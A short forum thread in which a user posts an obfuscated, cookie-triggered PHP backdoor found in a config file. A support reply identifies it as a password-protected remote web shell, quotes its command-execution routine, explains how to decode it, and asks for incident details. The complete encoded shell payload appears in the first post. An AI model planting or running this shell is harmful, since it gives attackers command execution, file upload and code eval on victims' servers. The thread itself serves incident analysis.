weird line in config file

[pc]

I have found this while I was editing one of my config files. anyone ??

 if(isset($_COOKIE['cEEhqsZc']) || isset($HTTP_COOKIE_VARS['cEEhqsZc'])) { $cEEhqsZc=str_replace('cEEhqsZc','','cEEhqsZcICBAc2V0X3RpbWVfbGltaXQoMCk7DQogIEBlcnJvcl9yZXBvcnRpbcEEhqsZcmcoMik7DQogIEBzZXRfcEEhqsZcbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQogIEBpbmlfc2V0KCd1cGxvYWRfbWF4X2ZpbGVzaXplJywxMDQ4NTc2MCk7DQogIEBpbmlfc2V0KCdwb3N0X21heF9zaXplJywxMDQ4NTc2MCk7DQogIEBpbmlfc2V0KCdmaWxlX3VwbG9hZHcEEhqsZcMnLCB0cnVlKTsNCiAgQGluaV9zZXQoJ2Rpc3BsYXlfZXJcEEhqsZcyb3JzJyx0cnVlKTsNCiAgQGluaV9zZXQcEEhqsZcoJ3JlZ2lzdGVyX2dsb2JhbHMnLHRydWUpOw0KICBAaW5pX3NldCgncmVnaXN0ZXJfbG9uZ19cEEhqsZchcnJheXMnLHRydWUpOw0KICBAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJyxmYWxzZSk7DQogIEBpbmlfc2V0KCdvdXRwdXRfYnVcEEhqsZcmZmVyaW5nJyxmYWxzZSk7DQogIEBpbmlfc2V0KCdhbGxvd191cmxfZm9wZW4nLHRydWUpOw0KICAkc2FmZW1vZGU9QGluaV9nZXQoJ3NhZmVfbW9kZScEEhqsZccpOw0KDQogICRtYWdpY19xdW90ZXM9MTsNCiAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZ2V0X21hZ2ljX3F1b3Rlc19ncGMnKSkgJG1hZ2ljX3F1b3Rlcz1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOw0KDQogICRwaHB2ZXIgPSBzdHJfcmVwbcEEhqsZcGFjZSgnLicsJycscGhwdmVyc2lvcEEhqsZccEEhqsZcbigpKTsNCiAgaWYgKHN0cmxlbicEEhqsZcgkcGhwdmVyKTwzKSB3aGlsZSAoc3RybGVuKCRwaHB2ZXIpPDMpICRwaHB2ZXIuPScwJzsNCiAgaWYoaW50dmcEEhqsZcFscEEhqsZcKCRwaHB2ZXIpIDwgNDEwKXsNCiAgICAkX1BPU1Q9JiRIVFRQX1BPU1RfVkFSUzsNCiAgICAkX0dFVD0mJEhUVFBfR0VUX1ZBUlM7DQogICAgJF9TRVJWRVI9JiRIVFRQX1NFUlZFUl9WQVJT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IHsNCgkJICBpZigkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgew0KCQkJJHNyY2ZpbGUgPSAkZGlyIC4gJy8nIC4gJGZpbGU7DQoJCQlpZihpc19maWxlKCRzcmNmaWxlKSkgew0KCQkJCWlmICgkb3M9PSd3aW4nP2Nhbl93cml0ZSgkc3JjZmlsZSk6aXNfd3JpdGFibGUoJHNyY2ZpbGUpKSAkcmV0dmFsIC49ICIrKyAiLiRmaWxlLiJcbiI7DQoJCQkJZWxzZSAkcmV0dmFsIC49ICItLSAiLiRmaWxlLiJcbiI7DQoJCQl9IGVsc2VpZihpc19kaXIoJHNyY2ZpbGUpKSB7DQoJCQkJaWYgKCRvcz09J3dpbic/Y2FuX3dyaXRlKCRzcmNmaWxlKTppc193cml0YWJsZSgkc3JjZmlsZSkpICRyZXR2YWwgLj0gImQrICIuJGZpbGUuIlxuIjsNCgkJCQllbHNlICRyZXR2YWwgLj0gImQtICIuJGZpbGUuIlxuIjsNCgkJCX0NCgkJICB9DQoJCX0NCgkJY2xvc2VkaXIoJGN1cmRpcik7DQoJCX0gZWxzZSAkcmV0dmFsID0gIkNhbnQgb3BlbiBkaXJlY3RvcnlcbiI7DQoJfQ0KDQoNCiAgfQ0KDQoJJGlkX2V4ZWMgPSAiY2FudCBnZXQgdWlkLGdpZCI7DQoNCglpZiAoJHRtcCA9IG1hZ2ljX2V4ZWN1dGUoImlkIikpICRpZF9leGVjID0gJHRtcDsNCgllbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z2lkJykpDQoJew0KCQkkdWlkcyAgPSBAcG9zaXhfZ2V0bG9naW4oKTsNCgkJJGV1aWRzID0gQHBvc2l4X2dldGxvZ2luKCk7DQoJCSR1aWQgICA9IEBwb3NpeF9nZXR1aWQoKTsNCgkJJGV1aWQgID0gQHBvc2l4X2dldGV1aWQoKTsNCgkJJGdpZCAgID0gQHBvc2l4X2dldGdpZCgpOw0KCQlpZiAoIWVtcHR5KCR1aWQpKSAkaWRfZXhlYyA9ICJVc2VyOiB1aWQ9JHVpZHMoJHVpZCkgZXVpZD0kZXVpZCgkZXVpZCkgZ2lkPSRnaWQoJGdpZCkiOw0KCX0NCg0KICBlY2hvICc8SFRNTD48Qk9EWSBvbmxvYWQ9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnY2Rmb2N1c1wnKS5mb2N1cygpOyI+PEhSPic7DQogIGVjaG8gZGF0ZSgiZC5tLlkgaDppIEEiKS4iIE9TOiRvcyAkaWRfZXhlYyBzYWZlX21vZGU9JHNhZmVtb2RlIjsNCiAgZWNobyAiPEhSPiI7DQogIGlmIChpc3NldCgkbmVlZF9zYXZlX2J1dHRvbikpIGVjaG8gIjxGT1JNIG1ldGhvZD1wb3N0PiI7DQogIGVjaG8gJzxURVhUQVJFQSBpZD0iY29uc29sZSIgbmFtZT0iY29uc29sZSIgc3R5bGU9IndpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4OyI+JzsNCiAgaWYgKGlzc2V0KCRyZXR2YWwpKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHJldHZhbCk7DQogIGVjaG8gJzwvVEVYVEFSRUE+JzsNCiAgaWYgKGlzc2V0KCRuZWVkX3NhdmVfYnV0dG9uKSkgZWNobyAiJHB3PElOUFVUIHR5cGU9J2hpZGRlbicgbmFtZT0nY2QnIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJGNkKS4iJz48SU5QVVQgdHlwZT0naGlkZGVuJyBuYW1lPSdlZGl0JyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRlZGl0KS4iJz48SU5QVVQgdHlwZT1zdWJtaXQgbmFtZT1zYXZlIHZhbHVlPSdTYXZlJz48L0ZPUk0+IjsNCiAgZWNobyAiPEhSPjxGT1JNIG1ldGhvZD1cIlBPU1RcIj4kcHciOw0KICBlY2hvICI8dGFibGU+PHRyPjx0ZD5kaXI6PC90ZD48dGQgd2lkdGg9XCIxMDAlXCI+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgc3R5bGU9XCJ3aWR0aDoxMDAlO1wiIGlkPVwiY2Rmb2N1c1wiIG5hbWU9XCJjZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRjZCkuIlwiPjwvdGQ+PC90cj4iLg0KICAgICAgICI8dHI+PHRkPnJ1bjo8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBzdHlsZT1cIndpZHRoOjEwMCU7XCIgbmFtZT1cInJ1blwiIHZhbHVlPVwiXCI+PC90ZD48L3RyPiIuDQogICAgICAgIjx0cj48dGQ+ZWRpdDo8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBzdHlsZT1cIndpZHRoOjEwMCU7XCIgbmFtZT1cImVkaXRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZWRpdCkuIlwiPjwvdGQ+PC90cj4iLg0KICAgICAgICI8L3RhYmxlPiIuDQogICAgICAgIjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJPS1wiPjwvRk9STT4iOw0KDQogIGVjaG8gIjxocj48Zm9ybSBlbmN0eXBlPVwibXVsdGlwYXJ0L2Zvcm0tZGF0YVwiIG1ldGhvZD1cInBvc3RcIj4kcHc8SU5QVVQgdHlwZT0naGlkZGVuJyBuYW1lPSdjZCcgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkY2QpLiInPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIk1BWF9GSUxFX1NJWkVcIiB2YWx1ZT1cIjE1MDAwMDAwXCIgLz51cGxvYWQ6IDxpbnB1dCBuYW1lPVwidXNlcmZpbGVcIiB0eXBlPVwiZmlsZVwiIC8+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cInVwbG9hZFwiIC8+PC9mb3JtPjxocj4iOw0KICBlY2hvICI8Zm9ybSBtZXRob2Q9cG9zdD4kcHc8dGV4dGFyZWEgc3R5bGU9XCJ3aWR0aDoxMDAlO2hlaWdodDoxMDBweDtcIiAgbmFtZT0nZXZhbCcgaWQ9J2V2YWwnPnBocGluZm8oKTs8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRXZhbFBIUCc+PC9mb3JtPjxocj4iOw0KICBlY2hvICJ1c2UgbW9kdWxlOiA8Zm9ybSBtZXRob2Q9cG9zdD4kcHc8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndXNlbW9kdWxlJz4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J3VzZSc+PC9mb3JtPjxocj4iOw0KICBlY2hvICI8L0JPRFk+PC9IVE1MPiI7DQoNCiAgZXhpdCgpOw0KDQoNCiAgZnVuY3Rpb24gY2FuX3dyaXRlKCRmaWxlKSB7aWYoZmlsZV9leGlzdHMoJGZpbGUpKXtpZiAoaXNfZmlsZSgkZmlsZSkpIHskZj1AZm9wZW4oJGZpbGUsImErIik7aWYoJGYpe2ZjbG9zZSgkZik7cmV0dXJuIHRydWU7fX1lbHNlaWYgKGlzX2RpcigkZmlsZSkpIHtpZiAoJGZpbGVbc3RybGVuKCRmaWxlKS0xXSE9Jy8nKSAkZmlsZS49Jy8nOyR0ZmlsZSA9ICRmaWxlLiJ0ZXN0eHh4dGVzdCI7aWYgKEB0b3VjaCgkdGZpbGUpKXt1bmxpbmsoJHRmaWxlKTtyZXR1cm4gdHJ1ZTt9fX1yZXR1cm4gZmFsc2U7fQ0KDQoJZnVuY3Rpb24gbWFnaWNfZXhlY3V0ZSgkY21kKQ0KCXsNCgkJJHJlcz1mYWxzZTsNCgkJaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKQ0KCQl7DQoJCQlAZXhlYygkY21kLCRyZXMpOw0KCQkJJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCgkJfQ0KCQllbHNlDQoJCWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkNCgkJCSRyZXMgPSBAc2hlbGxfZXhlYygkY21kKTsNCgkJZWxzZQ0KCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkNCgkJew0KCQkJQG9iX3N0YXJ0KCk7DQoJCQlAc3lzdGVtKCRjbWQpOw0KCQkJJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCgkJCUBvYl9lbmRfY2xlYW4oKTsNCgkJfQ0KCQllbHNlDQoJCWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkNCgkJew0KCQkJQG9iX3N0YXJ0KCk7DQoJCQlAcGFzc3RocnUoJGNtZCk7DQoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KCQkJQG9iX2VuZF9jbGVhbigpOw0KCQl9DQoJCWVsc2UNCgkJaWYgKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY21kLCJyIikpKQ0KCQl7DQoJCQkkcmVzID0gIiI7DQoJCQl3aGlsZSghQGZlb2YoJGYpKSB7ICRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOyB9DQoJCQlAcGNsb3NlKCRmKTsNCgkJfQ0KCQlyZXR1cm4gJHJlczsNCgl9DQo='); eval(base64_decode($cEEhqsZc)); exit(); }

[cd34]

exploit

they are using the password '4ef44b514159705a45bead8633dc8a2a'

appears to be a remote shell.

The meat:

	function magic_execute($cmd)
	{
		$res=false;
		if (function_exists('exec'))
		{
			@exec($cmd,$res);
			$res = join("\n",$res);
		}
		else
		if (function_exists('shell_exec'))
			$res = @shell_exec($cmd);
		else
		if (function_exists('system'))
		{
			@ob_start();
			@system($cmd);
			$res = @ob_get_contents();
			@ob_end_clean();
		}
		else
		if(function_exists('passthru'))
		{
			@ob_start();
			@passthru($cmd);
			$res = @ob_get_contents();
			@ob_end_clean();
		}
		else
		if (@is_resource($f = @popen($cmd,"r")))
		{
			$res = "";
			while(!@feof($f)) { $res .= @fread($f,1024); }
			@pclose($f);
		}
		return $res;
	}

If you're curious, change the eval at the end to a print, and put an ! in front of the isset, place it in a file with <?php at the beginning and run

php filename.php

and it'll output the source.

file a ticket with where you found this, if you didn't remove it, make a note of the time on it, file permissions, ownership, etc. and I'll take a look.